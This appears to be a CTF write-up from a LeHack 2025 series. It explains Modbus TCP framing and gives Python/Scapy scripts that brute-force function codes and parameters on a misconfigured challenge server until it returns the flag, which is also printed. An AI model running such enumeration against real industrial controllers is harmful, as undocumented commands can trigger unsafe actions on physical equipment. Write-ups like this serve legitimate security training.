Skip to main content

[LeHack] - Modbus

·5 mins· 0 · 0 ·
CTF OT LeHack
JustinType
Author
JustinType
Auditor - Pentester @ Wavestone
Table of Contents
LeHack2025 - This article is part of a series.
Part 1: This Article

Introduction #

An incorrectly configured Modbus server can be accessed from the domain modbus_scolaire.wargame.rocks on port 1502 :

intro.png

Modbus reminder #

Modbus is a communication protocol invented in 1979 to enable industrial equipment (PLCs, sensors, etc.) to communicate with each other.

Different protocols #

There are several variants of the Modbus protocol, depending on the communication medium used (serial, network) and the data format.

Here is a summary table:

table.png

As the challenge uses a web server on port 1502 to communicate data, we can easily deduce that we’ll be using Modbus TCP/IP here.

Building a frame #

A quick reminder of how to build a Modbus packet is given via the challenge statement, however it lacks of informations, here is a quick summary:

  • A conventional Modbus frame (Modbus RTU or ASCII) is transmitted in serial (wire to wire, bit by bit), whereas a Modbus TCP/IP frame is transmitted over network (via Internet/Ethernet).
  • Whichever protocol is used, a PDU (Protocol Data Unit) will be present in the frame. The PDU contains the function code (one byte) and data of variable size.
  • The final frame transmitted is called the ADU (Application Data Unit), and differs according to the Modbus protocol used.
  • In the case of a conventional Modbus protocol, the ADU is made up of the slave or master addresses to be communicated to, the PDU and a checksum code.
  • In the case of a Modbus TCP/IP protocol, the ADU is made up of a MBAP (Modbus Application Protocol Header) header, a PDU and a checksum code.
  • The MBAP header contains the identifiers required for communication: the transaction identifier (used to establish the link between the request and its response) on 2 bytes, then the protocol identifier on 2 bytes (always 0 for Modbus TCP/IP), the frame length on 2 bytes and the unit identifier (which identifies the server or slave to be addressed, similar to IP) on one byte.
    trame.png

Bruteforce function code #

Now that we know how to build a Modbus TCP/IP frame, we can communicate with the challenge server.

To do this, we can use the Python Scapy library, in particular via its ModbusADURequest module.

A properly configured Modbus server is not supposed to accept frames containing function code and parameters that are not intended. In the real world, you’d have to find the documentation of the server you want to communicate with to create a valid frame.

But in the case of this challenge, if you try to send a frame with an unspecified function code and no parameters, you get the response :

ACK\n

The server indicates that it has received the frame, but nothing happens!

Since the function code is set to one byte (i.e. 256 possible values), you can easily try all possible values to see if the server gives a different response. Here’s a Python script for testing all function codes:

import socket
from scapy.contrib.modbus import ModbusADURequest

# Address of Modbus server to be tested
host = "modbus_scolaire.wargame.rocks"
port = 1502

# Basic Modbus package parameters
trans_id = 0x1234 # random value
proto_id = 0x0000 # always 0
unit_id = 0xFF  # 0xFF is a special address meaning “all devices”, like a broadcast.

# Connexion to the server
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.settimeout(3)
    print(f"Connexion à {host}:{port} ...")
    s.connect((host, port))

    
    for function_code in range(1, 256):
        print(f"Test du function code : {function_code:#04x}")
        
        # MBAP header
        req = ModbusADURequest(
            transId=trans_id,
            protoId=proto_id,
            unitId=unit_id
        )

        # PDU 
        payload = bytes([function_code, 0x00, 0x00])  # 0x00,0x00 = fictive data

        # complete trame
        paquet = bytes(req) + payload

        
        s.sendall(paquet)

        # read response
        data = b""
        try:
            while len(data) == 0 or data[-1] != 0x0A:  # wait "\n"
                data += s.recv(1)
        except socket.timeout:
            print("Temps écoulé. Pas de réponse.")
            continue

        # Filtering -> ignore neutral responses: ‘ACK\n’.
        if data != b"ACK\n":
            print(f"Fonction {function_code:#04x} → Réponse intéressante : {data.decode(errors='ignore')}")
If you’ve been paying close attention, you’ll have noticed that there are no bytes corresponding to the length in the script’s MBAP header. This is normal, as ModbusADURequest adds it automatically!

Using this script, we find that the server responds with a different message when the function code 0x42 (= 66 in decimal) is used:

func42...55190239\n

Bruteforce parameters #

It would seem that the 0x42 function code allows you to perform an action, but we don’t know how many parameters are expected, let alone their values.

Really?

A closer look at the server’s return with function code 0x42 reveals dots and numbers that could tell us which frame to build:

  • ‘…’ would correspond to the parameter to be found
  • 55190239’ would correspond to 3 other parameters: 55, 190, 239

If our reasoning is correct, we only have one parameter left to find, so we can use the same technique as for the function code and try all possible values (again, that’s 256 values).

Adjusting our first Python code, we obtain :

import socket

from scapy.contrib.modbus import ModbusADURequest


host = "modbus_scolaire.wargame.rocks"
port = 1502

req = ModbusADURequest(
    transId=0x42,
    protoId=0x0,
    unitId=0xff )

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.settimeout(3)
    print(f"Connecting to {host}:{port} ...")
    s.connect((host, port))

    for i in range(255):
        data = b""
        s.sendall(bytes(req)+bytes([66,i,55,190,239])) # 66 corresponds to function code 0x42, i corresponds to the parameter to be found, 55,190 and 239 are the last parameters indicated by the server.

        while len(data)==0 or data[-1]!=0x0a:
            data += s.recv(1)
        if data!=b"ACK\n":

            print(f"response ({i}): {data}")

Flag #

Bingo! Executing this script we find that the parameter 0x13 (= 19 in decimal) returns the flag!

flag.png

🚩 Flag : LeHACK{unsafe_modbus_packets_4_win}

LeHack2025 - This article is part of a series.
Part 1: This Article